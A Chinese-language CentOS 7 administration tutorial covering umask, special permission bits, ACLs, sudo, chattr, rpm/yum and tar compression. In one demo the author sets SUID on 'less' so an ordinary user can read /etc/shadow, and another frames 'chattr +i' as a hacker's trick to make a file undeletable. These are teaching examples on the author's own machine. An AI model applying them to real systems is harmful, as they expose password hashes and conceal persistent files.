[root@localhost ~]# umask 044
[root@localhost ~]# touch ss.txt
[root@localhost ~]# ll ss.txt 
-rw--w--w- 1 root root 0 5月   8 21:47 ss.txt

权限的算法:一般情况是:目录默认权限-umask 值

666-022=644

777-022=755

#这是一个好的记忆方法,但不严谨。

互动:umask掩码为033 创建普通文件后,权限是什么?

互动:umask掩码为033 创建普通文件后,权限是什么? 666-033=633 ( rw- -wx -wx) ?

例:

[root@localhost ~]# umask 033
[root@localhost ~]# touch k.txt
[root@localhost ~]# ll k.txt 
-rw-r--r-- 1 root root 0 5月   8 22:00 k.txt

答:结果为: 644

权限科学的计算方法:

1、将默认权限(目录777,文件666)和umask值都转换为2进制

2、对umask取反

3、将默认权限和umask取反后的值做与运算

4、将得到的二进制值再转换8进制,即为权限,

例1: umask 为022

6 6 6 umask 0 2 2

110 110 110 000 010 010 # 转成二进制

111 101 101 # umask取反的值

110 110 110 与 #第二步,默认权限和umask取反后的值做与运算

111 101 101 # umask取反的值

110 100 100

6 4 4 #转成8进制

例2: umask 为033 结果为: 644

6 6 6 umask 0 3 3

110 110 110 000 011 011 # 转成二进制

111 100 100 # umask取反的值

110 110 110 与 #默认权限和umask取反后的值做与运算

111 100 100 # umask取反的值

110 100 100

6 4 4 #转成8进制

7.2 文件的特殊权限:suid sgid sticky和文件扩展权限ACL

其实文件与目录设置不止这些,还有所谓的特殊权限。由于特殊权限会拥有一些“特权”.

特殊权限:

7.2.1 文件的特殊权限:suid sgid sticky

1、SUID(set uid设置用户ID):限定:只能设置在二进制可执行程序上面。对目录设置无效

功能:程序运行时的权限从执行者变更成程序所有者的权限

2、SGID:限定:既可以给二进制可执行程序设置,也可以对目录设置

功能:在设置了SGID权限的目录下建立文件时,新创建的文件的所属组会,继承上级目录的所属组

3、Stickybit:粘滞位权限是针对目录的,对文件无效,也叫防删除位

这3个特殊权限对应的数值为

SUID

SGID

Stickybit

u+s或u=4

g+s或g=2

o+t或o=1

 SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。使用”ls -l” 或者”ll” 命令浏览文件时,如果可执行文件所有者权限的第三位是一个小写的”s”,就表明该执行文件拥有SUID属性。比如/usr/bin/passwd文件

 互动: 普通用户admin,没有对shadow文件写入的权限, 但是admin用户使用passwd修改自己密码时,可以修改shadow文件中的内容,这是什么原因?

[root@localhost ~]# ll /etc/shadow
----------. 1 root root 1179 9月  19 2017 /etc/shadow
[root@localhost ~]# su - admin
上一次登录:二 5月  8 21:07:24 CST 2018pts/0 上
[admin@localhost ~]$ passwd 
更改用户 admin 的密码 。
为 admin 更改 STRESS 密码。
(当前)UNIX 密码:123456
新的 密码:redhat
重新输入新的 密码:redhat
passwd:所有的身份验证令牌已经成功更新。
[root@localhost ~]# vim /etc/shadow  #查看shadow文件已经被admin用户修改成功。
因为admin用户执行passwd命令时,权限会提升成root用户,所以可以修改成功。

例2:

[root@localhost ~]# useradd user
[root@localhost ~]# su - user
[user@localhost ~]$less /etc/shadow  #看不到内容
[user@localhost ~]$ su - root
[root@localhost ~]# chmod u+s /usr/bin/less  #切换到root,给一个suid权限
[root@localhost ~]# su - user
[user@localhost ~]$ less /etc/shadow  #看到查看u+s后的效果:
[root@localhost ~]# ll /usr/bin/less
-rwsr-xr-x 1 root root 154536 Sep 26  2011 /usr/bin/less
[root@localhost ~]# ps -axu | grep less
root     43407  0.0  0.0 110260   980 pts/0    S+   22:30   0:00 less /etc/shadow

另外:

[root@localhost ~]# chmod 4755 /usr/bin/less  # 等同于 chmod u+s /usr/bin/less

SGID:

限定:既可以给二进制可执行程序设置,也可以给目录设置。

功能:在设置了SGID权限的目录下建立文件时,新创建的文件的所属组会继承上级目录的权限。

[root@localhost ~]# mkdir test
[root@localhost ~]# ll -d test
drwxr-xr-x 2 root root 4096 Jan 24 20:14 test
[root@localhost ~]# chmod g+s test
[root@localhost ~]# !ll
ll -d test
drwxr-sr-x 2 root root 4096 Jan 24 20:14 test

测试:sgid效果

[root@localhost ~]# chown :bin test/
[root@localhost ~]# touch test/a.txt
[root@localhost ~]# ll !$
ll test/a.txt
-rw-r--r-- 1 root bin 0 Jan 24 20:15 test/a.txt

Stickybit

限定:只作用于目录

功能:目录下创建的文件只有root、文件创建者、目录所有者才能删除。

例: 系统中的tmp目录就是这样

[root@localhost ~]# ll -d /tmp/
drwxrwxrwt. 11 root root 4096 Jan 24 19:41 /tmp/
用法:
chmod o+t /tmp/test/

7.2.2 文件扩展权限ACL

扩展ACL :access control list

例:设置用户admin对文件a.txt拥有的rwx权限 ,admin不属于a.txt的所属主和组,admin是other。怎么做?

[root@localhost ~]# touch /tmp/a.txt
[root@localhost ~]# getfacl  /tmp/a.txt
getfacl: Removing leading '/' from absolute path names
# file: tmp/a.txt
# owner: root
# group: root
user::rw-
group::r--
other::r--
[root@localhost ~]# setfacl -m u:admin:rwx   /tmp/a.txt     u : 设置某个用户拥有的权限
[root@localhost ~]# getfacl  /tmp/a.txt
getfacl: Removing leading '/' from absolute path names
...
user::rw-
user:admin:rwx
[admin@localhost ~]$ vim /tmp/a.txt 
[admin@localhost ~]$ ll /tmp/a.txt 
-rw-rwxr--+ 1 root root 8 5月   8 22:42 /tmp/a.txt

例2: 给目录加扩展权限

[root@localhost ~]# mkdir /tmp/test 
#setfacl -m d:u:admin:rwx    /tmp/test   # -d  default    设置默认acl,对目录有效,此目录下新建的目录或文件都继承此acl权限

例:测试一下 -d 参数:

[root@localhost ~]# mkdir /tmp/test 
[root@localhost ~]# setfacl -m d:u:admin:rwx    /tmp/test 
[root@localhost ~]# getfacl  /tmp/test/
getfacl: Removing leading '/' from absolute path names
# file: tmp/test/
# owner: root
# group: root
user::rwx
group::r-x
other::r-x
default:user::rwx
default:user:admin:rwx
default:group::r-x
default:mask::rwx
default:other::r-x
[root@localhost ~]# touch /tmp/test/a.txt
[root@localhost ~]# mkdir /tmp/test/data
[root@localhost ~]# getfacl /tmp/test/a.txt   #因为-d参数,所以test下所有创建的文件和目录都继承了默认的acl权限
getfacl: Removing leading '/' from absolute path names
# file: tmp/test/a.txt
# owner: root
# group: root
user::rw-
user:admin:rwx			#effective:rw-
group::r-x			#effective:r--
mask::rw-
other::r--
[root@localhost ~]# getfacl /tmp/test/data
getfacl: Removing leading '/' from absolute path names
# file: tmp/test/data
# owner: root
# group: root
user::rwx
user:admin:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:admin:rwx
default:group::r-x
default:mask::rwx
default:other::r-x

例3:给目录下所有文件都加扩展权限

[root@localhost ~]# setfacl -R -m u:lee:rw- testdirectory/    #-R一定要在-m前面,表示目录下所有文件
[root@localhost ~]# setfacl -x u:admin /tmp/a.txt          # 去掉单个权限
[root@localhost ~]# setfacl -b  /tmp/a.txt              # 去掉所有acl权限

7.2.3 sudo提权

[root@localhost ~]# vim /etc/sudoers
root    ALL=(ALL)       ALL
admin   ALL=(ALL)       /usr/sbin/useradd,/bin/passwd
给谁赋权、ALL:在哪台主机上执行 (root):以ALL身份运行命令、赋予的命令

[root@localhost ~]# su - admin
[admin@localhost ~]$ sudo useradd user1
sudo comm:默认以root身份运行
sudo -u admin comm:以admin的身份运行

使用别名来批量赋权

User_Alias USER = admin,user1,user2

Command_Alias COMMAND = /bin/passwd,/usr/sbin/useradd

在命令前加 NOPASSWD,每次普通用户执行命令不需要密码

[root@aliyun ~]# vim /etc/sudoers.d/admin   //在文件夹下创建sudo权限,比较好管理
USER  ALL=(ALL)  NOPASSWD :COMMAND

lsattr

7.3实战:创建一个让root都无法删除的文件

发现windows中 有文件删除不了,怎么办? 使用360 强制删除,粉碎文件

那么在Linux下怎么办?

[root@localhost ~]# touch hack.sh aa.sh 
[root@localhost ~]# ll hack.sh aa.sh 
-rw-r--r-- 1 root root 0 May 24 21:29 aa.sh
-rw-r--r-- 1 root root 0 May 24 21:29 hack.sh
[root@localhost ~]# rm -rf aa.sh
黑客使用xshell悄悄执行在后台添加attr扩展属性
[root@localhost ~]# chattr  +i hack.sh

删除文件:

[root@localhost ~]# rm -rf  hack.sh  #发现删除不了

为什么删除不了?

从REHL6 开始,新增加文件系统扩展属性:

命令:chattr

参数: a 只能追加内容 ; i 不能被修改

+a: 只能追加内容 如: echo aaa >> hack.sh

+i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。

注:immutable [ɪˈmju:təbl] 不可改变的 ; Append [əˈpend] 追加

-i :移除i参数。 -a :移除a参数

解决:

[root@localhost ~]# lsattr hack.sh
----i----------- hack.sh
[root@localhost ~]# chattr -i hack.sh
[root@localhost ~]# echo aa >> hack.sh
[root@localhost ~]# lsattr hack.sh   #查看扩展属性
---------------- hack.sh
[root@localhost ~]# chattr +a hack.sh
[root@localhost ~]# rm -rf hack.sh
[root@localhost ~]# echo aaa >> hack.sh

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第八章 Centos7软件包的管理与安装

8.1 软件包的管理

软件包的类型

rpm二进制包------》已经使用GCC编译后的

tar源码包-----》需要编译

RPM概述:RPM是RPM Package Manager(RPM软件包管理器)的缩写,这一文件格式名称虽然打上了RedHat的标志,但是其原始设计理念是开放式的,现在包括OpenLinux、SUSE以及Turbo Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。

8.1.1 rpm软件包的管理

rpm包的获取方式:

1、Centos系统镜像光盘

2、网站rpmfind.net

3、比如安装mysql、nginx软件,我们可以去它的官方网站下载:http://www.mysql.com

rpm包格式的说明

例1:

[root@localhost ~]# ls /mnt/Packages/zsh-5.0.2-28.el7.x86_64.rpm 
/mnt/Packages/zsh-5.0.2-28.el7.x86_64.rpm
zsh     -5.       0.         2-      28.                  el7.             x86_64.rpm 
软件名 主版本号 次版本号  修订 release(第几次发布版本) 操作系统版本   软件包是64位包 
#修订指是的第几次修改bug。   发布指的是:第几次发布。 发布时,可能只是对软件安装的默认参数做了修改,而没有其它改动

8.1.2 安装rpm软件

RPM工具使用分为安装、查询、验证、更新、删除等操作

命令格式:rpm [参数] 软件包

参数:

-i 是install的意思, 安装软件包

-v 显示附加信息,提供更多详细信息

-V 校验,对已经安装的软件进行校验

-h --hash 安装时输出####标记

--replacepkgs 重新安装,相当于—force

--oldpackage 安装旧版的软件包

--replacefiles 忽略冲突

--nodeps 忽略依赖性关系

互动:rpm使用时,什么情况下使用软件包全名,什么时候使用软件包名?

全名:在安装和更新升级时候使用

包名:对已经安装过的软件包进行操作时,比如查找已经安装的某个包,卸载包等 ,使用包名。它默认是去目录/var/lib/rpm下面进行搜索。 当一个 rpm 包安装到系统上之后,安装信息通常会保存在本地的 /var/lib/rpm/目录下。

#本地安装
[root@localhost ~]# rpm -ivh /mnt/Packages/zsh-5.0.2-28.el7.x86_64.rpm
[root@localhost ~]# cat /etc/shells 
/bin/sh
/bin/bash
/sbin/nologin
/usr/bin/sh
/usr/bin/bash
/usr/sbin/nologin
/bin/tcsh
/bin/csh
/bin/zsh

#从网上下载直接安装centos epel扩展源
[root@localhost ~]#  rpm -ivh http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm   
#安装centos epel扩展yum源。 注:epel源是对centos7系统中自带的 base源的扩展。

8.1.3 rpm查询功能

用法:rpm -q(query) 常与下面参数组合使用

-a(all)

查询所有已安装的软件包

-f(file)系统文件名

查询系统文件所属哪个软件包

-i

显示已经安装的rpm软件包信息,后面直接跟包名

-l(list)

查询软件包中文件安装的位置

-c

查询软件包的配置文件

-d

软件包的帮助文件

-qp --scripts

查询在安装或者删除软件包的时候运行的shell脚本

-q --changelog

查询软件包的变更日志

-p

查询未安装软件包的相关信息,后面要跟软件的命名

-R

查询软件包的依赖性

[root@localhost mnt]# rpm -q zsh   --->查询指定的包是否安装
[root@localhost mnt]# rpm -qa     --->查询所有已安装包
[root@localhost mnt]# rpm -qa |  grep vim    --->查询所有已安装包中带vim关键字的包
[root@localhost ~]# which find     #查看find命令的路径
/usr/bin/find
[root@localhost ~]# rpm  -qf /usr/bin/find   #查询文件或命令属于哪个安装包

 查询已经安装的rpm包的详细信息或作用 rpm -qi rpm包名

[root@localhost ~]# rpm -qi lrzsz

针对没有安装的RPM包,要加参数: -p

[root@localhost ~]# rpm -qpi /mnt/Packages/php-mysql-5.4.16-42.el7.x86_64.rpm 
。。。
Summary     : A module for PHP applications that use MySQL databases  #php使用mysql数据库的一个模块
[root@localhost mnt]# rpm -qpl  /mnt/Packages/zip-3.0-10.el7.x86_64.rpm  #查看rpm安装后,将生成哪些文件

8.1.4 查看软件包内容是否被修改

rpm -V包名

rpm -Vf 文件路径

[root@localhost ~]# which  find
/usr/bin/find
[root@localhost ~]# rpm -qf /usr/bin/find
findutils-4.5.11-5.el7.x86_64
[root@localhost ~]# rpm -Vf /usr/bin/find   #检查具体文件
[root@localhost ~]# echo aaa >> /usr/bin/find
[root@localhost ~]# rpm -Vf /usr/bin/find
S.5....T.    /usr/bin/find
[root@localhost ~]# rpm -V findutils   #检查包
S.5....T.    /usr/bin/find

注:如果出现的全是点,表示测试通过

出现下面的字符代表某测试的失败:

5 — MD5 校验和是否改变,你也看成文件内容是否改变

S — 文件长度,大小是否改变

L — 符号链接,文件路径是否改变

T — 文件修改日期是否改变

D — 设备

U — 用户,文件的属主

G — 用户组

M — 模式 (包含许可和文件类型)

? — 不可读文件

再后面的c 文件名,它表示的是文件类型

c 配置文件

d 普通文件

g 不该出现的文件,意思就是这个文件不该被这个包所包含

l 授权文件(license file)

r 描述文件

互动: 查看系统中所有的rpm包及安装的文件有没有被黑客修改

root@localhost ~]# rpm -Va > rpm_check.txt

在文件中加一下这个参数描述

注: 检验时参考了 /var/lib/rpm 目录下的rpm数据库信息

8.1.5 rpm包卸载和升级

用法:rpm -e(erase) 包名

[root@localhost ~]# rpm -qa zsh
zsh-5.0.2-28.el7.x86_64
[root@localhost ~]# rpm -e zsh
[root@localhost ~]# rpm -qa zsh
参数: --nodeps 忽略依赖,建议在卸载时不要用rpm去卸载有依赖关系的包,应该用yum
[root@localhost ~]# rpm -e --nodeps lrzsz
升级:
[root@localhost ~]# rpm -Uvh /mnt/Packages/lrzsz-0.12.20-36.el7.x86_64.rpm    #因为升级时会有一些依赖包要解决。 所以一般我们使用yum update 包  来升级。

8.1.6 解决rpm依赖关系

[root@localhost ~]# rpm -ivh /mnt/Packages/mariadb-server-5.5.56-2.el7.x86_64.rpm 
警告:/mnt/Packages/mariadb-server-5.5.56-2.el7.x86_64.rpm: 头V3 RSA/SHA256 Signature, 密钥 ID f4a80eb5: NOKEY
错误:依赖检测失败:
	mariadb(x86-64) = 1:5.5.56-2.el7 被 mariadb-server-1:5.5.56-2.el7.x86_64 需要
	perl-DBD-MySQL 被 mariadb-server-1:5.5.56-2.el7.x86_64 需要
解决:
[root@localhost ~]# rpm -ivh /mnt/Packages/mariadb-5.5.56-2.el7.x86_64.rpm 
[root@localhost ~]# rpm -ivh /mnt/Packages/perl-DBD-MySQL-4.023-5.el7.x86_64.rpm 
[root@localhost ~]# rpm -ivh /mnt/Packages/mariadb-server-5.5.56-2.el7.x86_64.rpm

8.1.7 解压rpm包:提取rpm包的文件

[root@localhost data]# rpm2cpio http-parser-2.8.0-2.el8.x86_64.rpm | cpio -id       //解压
[root@localhost data]# rpm2cpio http-parser-2.8.0-2.el8.x86_64.rpm | cpio -tv       //查看
[root@localhost data]# rpm -qp --scripts http-parser-2.8.0-2.el8.x86_64.rpm

8.2 YUM的使用

yum(全称为 Yellow dog Updater, Modified)是一个前端软件包管理器。基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软体包,无须繁琐地一次次下载、安装。yum提供了查找、安装、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记

YUM:解决依赖关系问题,自动下载软件包,它是基于C/S架构

C=client S=ftp\http\file

8.2.1 配置本地yum源

1、挂载镜像:

先确定虚拟机光驱中有加载系统镜像

[root@localhost Packages]# mount /dev/cdrom /mnt/ 
[root@localhost Packages]# ls /mnt/

2、配置yum源文件:

[root@localhost ~]# vim /etc/yum.repos.d/centos7.repo   #必须以.repo结尾,插入以下内容
[centos7]
name=CentOS7
baseurl=file:///mnt
enable=1
gpgcheck=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
注:
[centos7]				#yum源名称,在本服务器上唯一的,用来区分不同的yum源			
name= CentOS7			#对yum源描述信息
baseurl=file:///mnt	#yum源的路径,提供方式包括FTP(ftp://...)、HTTP(http://...)、本地(file:///...                           						光盘挂载目录所在的位置)
enabled=1				#为1,表示启用yum源;0为禁用
gpgcheck=0				#为1,使用公钥检验rpm包的正确性;0为不校验
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7  #指定进行rpm校验的公钥文件地址

8.2.2 网络yum源

Centos 7 配置网络yum源

[root@localhost ~]# wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

#wget 下载文件 ,-O 将wget下载的文件,保存到指定的位置,保存时可以重新起一个名字,或者直接写一个要保存的路径,这样还用原来的文件名。

查看:

[root@localhost yum.repos.d]# vim /etc/yum.repos.d/CentOS-Base.repo

找到这一条:baseurl=http://mirrors.aliyun.com/centos/$releasever/os/$basearch/

注:$releasever系统的版本的值等于

[root@localhost ~]# cat /etc/centos-release
CentOS Linux release 7.4.1708 (Core) 
$basearch 等于:x86_64

排错: 如果下载Centos-7.repo后,不用能

解决:打开阿里云链接:http://mirrors.aliyun.com/centos/ 找到centos7最新版本号,如:

然后执行:sed进行全文替换

[root@localhost ~]# sed -i  's/$releasever/7.4.1708/g' /etc/yum.repos.d/CentOS-Base.repo
[root@localhost ~]# yum clean all    #清空一下yum缓存
[root@localhost ~]# yum list         #查看列表

8.2.3 yum使用

yum常用操作:

[root@localhost ~]#  yum install -y httpd   #安装软件包, -y 直接安装 
[root@localhost ~]#  yum -y update    #升级软件包,改变软件设置和系统设置,系统版本内核都升级
[root@localhost ~]#  yum -y upgrade   #升级软件包,不改变软件设置和系统设置,系统版本升级,内核不改变
[root@localhost ~]#  yum -y update  # 不加任何包,表示整个系统进行升级
[root@localhost ~]#  yum info  httpd    #查询rpm包作用  
[root@localhost ~]#  yum provides /usr/bin/find  #查看命令是哪个软件包安装的  
[root@localhost ~]#  yum -y remove  包名    #卸载包 
[root@localhost ~]#  yum search keyword   #按关键字搜索软件包
查询软件包的历史记录:
[root@localhost ~]#  yum history            #查询yum的执行记录
[root@localhost ~]#  yum history list 包名   #历史记录中搜索某个软件包
[root@localhost ~]#  yum history info 4 	    #查询第4条历史记录的信息
[root@localhost ~]#  yum history undo 7    #撤销事务

yum报错,注意的几个小问题:

1、确定光盘是否链接,光盘是否挂载

2、配置文件中格式是否正确,字母,符号有没有少写,挂载点和配置文件中设置的是否一致

3、网络源需要联网,操作和RPM类似,只是会自动安装依赖项。

8.2.4 yum安装开发工具软件包组

# yum grouplist #查看有哪些软件包组

语法:yum groupinstall GROUPNAME

yum grouplist #显示中文,如果想变成英文,则执行以一下命令

[root@bogon Packages]# echo $LANG 
zh_CN.UTF-8     
[root@bogon Packages]#LANG=en_US.UTF-8
yum grouplist
[root@localhost Packages]# yum grouplist

测试:

[root@localhost ~]# yum remove gcc  -y    #卸载开发工具软件组中的gcc包
[root@localhost ~]# yum groupinstall 'Development tools'  -y  #安装开发工具软件包组,安装这组软件包时,把gcc再安装上了

8.2.5 创建私有yum源

[root@localhost data]# ls
http-parser-2.8.0-2.el8.x86_64.rpm
[root@localhost ~]# yum install -y createrepo_c
[root@localhost data]# createrepo -v /data/
[root@localhost data]# ls /data/
http-parser-2.8.0-2.el8.x86_64.rpm  repodata

8.2.6 模块流:更换软件本本比较方便

[root@rhel8 ~]# yum module list | grep postgresql
postgresql  10 [d]  client, server [d]  PostgreSQL server and client module  
#d:默认的安装版本
postgresql  9.6  client, server [d]  PostgreSQL server and client module                                
[root@rhel8 ~]# yum module install postgresql -y 
[root@rhel8 ~]# yum module list | grep postgresql
postgresql  10 [d]  client, server [d]  PostgreSQL server and client module  
#e:已经开启
postgresql  9.6  client, server [d]  PostgreSQL server and client module 
[root@rhel8 ~]# yum module remove postgresql
[root@rhel8 ~]# yum module reset postgresql                 //清除软件包的标签
[root@rhel8 ~]# yum module install postgresql:9.6           //安装指定版本

8.3 实战tar源码包管理-srpm源码包安装方法

8.3.1 源码安装nginx

1. 编译环境如gcc和 gcc-c++编译器,make

2. 准备软件 : nginx-1.12.2.tar.gz

部署Nginx

# yum -y install gcc gcc-c++ make zlib-devel pcre pcre-devel openssl-devel

pcre: 支持正则表达式,地址重写rewrite 开始安装

源码编译3把斧:./configure , make ,make install

[root@localhost ~]# tar xvf nginx-1.12.2.tar.gz
[root@localhost ~]# cd nginx-1.12.2
[root@localhost ~]#./configure  --prefix=/usr/local/nginx
[root@localhost ~]#  make -j 4
[root@localhost ~]#  make install

3. 详解源码安装3把斧

# ./configure

a. 指定安装路径,例如 --prefix=/usr/local/nginx

b. 启用或禁用某项功能, 例如 --enable-ssl, --disable-filter --with-http_ssl_module

c. 和其它软件关联,例如--with-pcre

d. 检查安装环境,例如是否有编译器gcc,是否满足软件的依赖需求

最终生成:Makefile

# make -j 4 #按Makefile文件编译,可以使用-j 4指定4核心CPU编译,提升速度

# make install #按Makefile定义的文件路径安装

# make clean //清除上次的make命令所产生的object和Makefile文件。使用场景:当需要重新执行configure时,需要执行make clean

8.3.2 删除源码包

安装完,删除:

make uninstall

有时删除不干净,所以建议大家安装时,在configure步骤添加一个: --prefix 参数。这样删除或备份时,直接删除--prefix指定的安装目录操作就可以了。

8.3.3 实战2:源码编译出错的5个种完美解决方法

从windows上传extundelete文件到linux,安装xmanager v5 或者crt

解压并安装extundelet

[root@localhost extundelete-0.2.4]# tar jxvf extundelete-0.2.4.tar.bz2 
[root@localhost ~]# cd extundelete-0.2.4
[root@localhost]# rpm -ivh /mnt/Packages/e2fsprogs-devel-1.41.12-11.el6.x86_64.rpm 
[root@localhost extundelete-0.2.4]# ./configure   #检查系统安装环境
Configuring extundelete 0.2.4
configure: error: Can't find ext2fs library

源码编译出错后,常见解决方法:

共5种方法

方法1:[root@localhost Packages]# rpm -ivh ext2fs^C   #按两下tab键。 一般情况,ext2fs就是要安装的软件包的名字开头。如果存在 自动补全
方法2:[root@localhost Packages]# ls *ext2fs*   #查找完整关键字
方法3:[root@localhost Packages]# ls *2fs*    #查找部分关键字

方法4: 终极大招

http://www.rpmseek.com/index.html

 方法5: 使用yum去搜索

[root@localhost Packages]# yum search ext2fs
安装库:
[root@localhost Packages]# rpm -ivh e2fsprogs-libs-1.41.12-11.el6.x86_64.rpm 
warning: e2fsprogs-libs-1.41.12-11.el6.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID fd431d51: NOKEY
Preparing...                                                            ########################################### [100%]
	package e2fsprogs-libs-1.41.12-11.el6.x86_64 is already installed
互动:这里显示库已经安装,但是configure时又说找不到。怎么办?
解决:安装了库,却显示找不到。 这种情况: 需要安装库的开发文件
[root@localhost]# rpm -ivh /mnt/Packages/e2fsprogs-devel-1.41.12-11.el6.x86_64.rpm 
扩展:技巧
查看rpm包安装后生成的文件:
[root@localhost Packages]#rpm -qpl e2fsprogs-devel-1.41.12-11.el6.x86_64.rpm | more
[root@localhost extundelete-0.2.4]# make  -j 4  
[root@localhost extundelete-0.2.4]# make install  #安装
[root@localhost extundelete-0.2.4]# ls /usr/local/bin/extundelete   #查看安装后的文件
/usr/local/bin/extundelete

总结,软件安装方法特点:

rpm+yum:方便,软件版本低。稳定性好、管理方便。性能稍差。

源码编译安装:麻烦,软件版本新,可以定制。稳定性稍差、管理稍差。性能好。

源码编译安装:主要是安装LAMP或LNMP 架构时,我们会用

8.3.4 安装.src.rpm源码包的方法(了解)

srpm: Source RPM 的意思,也就是这个 RPM 档案里面含有原始码( Source Code )。

上传lrzsz-0.12.20-27.1.el6.src.rpm 到linux的/root目录

[root@localhost ~]# rpm -e lrzsz  #先卸载软件包
编译:
[root@localhost ~]# rpmbuild --rebuild  lrzsz-0.12.20-27.1.el6.src.rpm     #根据将src.rpm中源码文件编译成可执行的二进制文件。
若顺利执行成功则会在root用户家目录下生成一个:/root/rpmbuild目录。 
在/root/rpmbuild/RPMS/x86_64/目录下生成lrzsz-0.12.20-27.1.el7.centos.x86_64.rpm这个rpm文件。
# rpm -ivh rpmbuild/RPMS/x86_64/lrzsz-0.12.20-27.1.el7.centos.x86_64.rpm   #安装

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第九章  文件的归档和压缩

9.1 tar命令进行文件的归档和压缩

9.1.1 归档和压缩文件

归档和压缩文件的好处:节约硬盘的资源 ,加快文件传输速率

tar命令 作用:打包、压缩文件

作用:打包、压缩文件;tar 文件是把几个文件和(或)目录集合在一个文件里,该存档文件可以通过使用gzip、bzip2或xz等压缩工具进行行压缩后传输

查看man tar

用法:tar [OPTION...] [FILE]...

参数:

-c create创建文件

-x -extract [ˈekstrækt] 提取 解压还原文件

-v --verbose显示执行详细过程

-f --file指定备份文件

-t --list 列出压缩包中包括哪些文件,不解包,查看包中的内容

-C (大写)--directory 指定解压位置

例:给/boot/grub目录 打包

[root@localhost ~]#  tar -cvf grub.tar /boot/grub/  # tar的参数前可以不使用‘-’

或:

[root@localhost ~]#  tar cvf grub.tar /boot/grub/

tar: 从成员名中删除开头的“/”

/boot/grub/

/boot/grub/splash.xpm.gz

[root@localhost ~]# ls gurb.tar
[root@localhost ~]# tar xvf grub.tar   #解压缩
boot/grub/
boot/grub/splash.xpm.gz
[root@localhost ~]# ls  boot  #得到boot目录

注意:在使用绝对路径名归档文件时,将默认从文件名中删除该路径中前面的 / 符号。这样解压时,会直接解压到当前目录。 如果不移除/压缩时,当解包时,直接按绝对路径来释放,会覆盖原系统中此路径的文件。

例1:指定解压位置 -C

[root@localhost ~]# tar xvf grub.tar.bz2 -C /opt/
tar: 从成员名中删除开头的“/”
/boot/grub/
/boot/grub/splash.xpm.gz
[root@localhost ~]# ls /opt/
boot

例2:把两个目录或目录+文件打包成一个软件包:

[root@localhost ~]# mkdir back
[root@localhost ~]# cp /etc/passwd back/
[root@localhost ~]# tar -cvf back.tar /boot/grub  back/ /etc/passwd

tar: 从成员名中删除开头的“/”

/boot/grub/

/boot/grub/splash.xpm.gz

back/

back/passwd

/etc/passwd

例3:不解包,查看tar中的内容:

[root@localhost ~]# tar -tvf grub.tar         # List all files in archive.tar verbosely.

例4:对比加v的效果

[root@localhost ~]# tar -xf grub.tar 
[root@localhost ~]# tar -xvf grub.tar 
boot/grub/
boot/grub/splash.xpm.gz

9.1.2 tar 归档+压缩

语法:tar czvf newfile.tar.gz SOURCE

常用参数:

-z, --gzip 以gzip方式压缩 扩展名: tar.gz

-j : 以bz2方式压缩的 扩展名:tar.bz2

-J : 以xz 方式压缩 扩展名:tar.xz

例1:创建.tar.gz 包

[root@localhost ~]# tar cvf etc.tar /etc 
[root@localhost test]# tar zcvf etc.tar.gz /etc  #归档,注意备份的名字后缀
[root@localhost test]# tar zxvf etc.tar.gz   #解压缩

例2:创建.tar.bz2包

语法: #tar jcvf newfile.tar.bz2 SOURCE

[root@localhost ~]#  tar -jcvf etc.tar.bz2 /etc   
[root@localhost ~]#  tar -jxvf etc.tar.bz2 /etc    #解压缩
[root@localhost ~]#  tar jxvf etc.tar.bz2 -C  /opt    #解压到opt目录下

例3:创建.tar.xz包

[root@localhost ~]#  tar -Jcvf etc.tar.xz /etc
[root@localhost ~]#  tar -xvf etc.tar.xz    #tar.xz 这类包,解压缩

或:

[root@localhost ~]#  tar -Jxvf etc.tar.xz  

对比三种压缩方式后压缩比例:

[root@localhost ~]# ll -h etc.tar*
-rw-r--r-- 1 0 root   36M 5月  10 12:10 etc.tar
-rw-r--r-- 1 0 root   9.6M 5月  10 12:14 etc.tar.bz2    #这个常用
-rw-r--r-- 1 0 root   12M 5月  10 12:11 etc.tar.gz    #这个常用
-rw-r--r-- 1 0 root   7.7M 5月  10 12:16 etc.tar.xz   #这个压缩比例最高,压缩的时间是最长

9.2 zip管理压缩文件

zip软件包解压缩命令:

zip是压缩程序,unzip是解压程序。

例1:压缩文件:

[root@localhost ~]# zip a.zip /etc/passwd 

例2:将所有.jpg的文件压缩成一个zip包

[root@localhost ~]# zip all.zip *.jpg

例3:压缩一个目录

[root@localhost ~]# zip -r grub.zip /boot/grub   #一般不用

解压缩:

[root@localhost ~]# unzip grub.zip
[root@localhost ~]# unzip grub.zip -d /opt/  #  -d  解压到指定的目标/opt

9.3 了解gzip-bzip2- xz管理压缩文件-file-sort查看文件

我们创建压缩的TAR存档,TAR命令它支持三种不同的压缩方式。

gzip压缩速度最快;

bzip2压缩生成的文件比gzip小,但使用不如gzip广;

xz压缩工具相对较新,但是会提供最佳的压缩率

9.3.1 压缩工具

压缩工具:gzip bzip2 zip xz

常见的压缩格式: .gz .bz2 .xz .zip

语法格式:

压缩

gzip 文件 ====》 gzip a.txt =====》 a.txt.gz

bzip2 文件 ===》 bzip2 b.txt =====》 b.txt.bz2

xz 文件 ===》xz c.txt ===》c.txt.xz

[root@localhost ~]# mkdir admin
[root@localhost ~]# touch  admin/a.txt
[root@localhost ~]# gzip admin/a.txt 
[root@localhost ~]# ls admin/a*
admin/a.txt.gz

注:只能对文件进行压缩,且压缩后源文件会消失,一般不用。

(bzip2,xz这两个工具可以通过添加参数-k来保留下源文件)

[root@localhost ~]# cp /etc/passwd 1.txt
[root@localhost ~]# bzip2 -k 1.txt
[root@localhost ~]# ls  1.txt.bz2

[root@localhost ~]# xz -k 1.txt
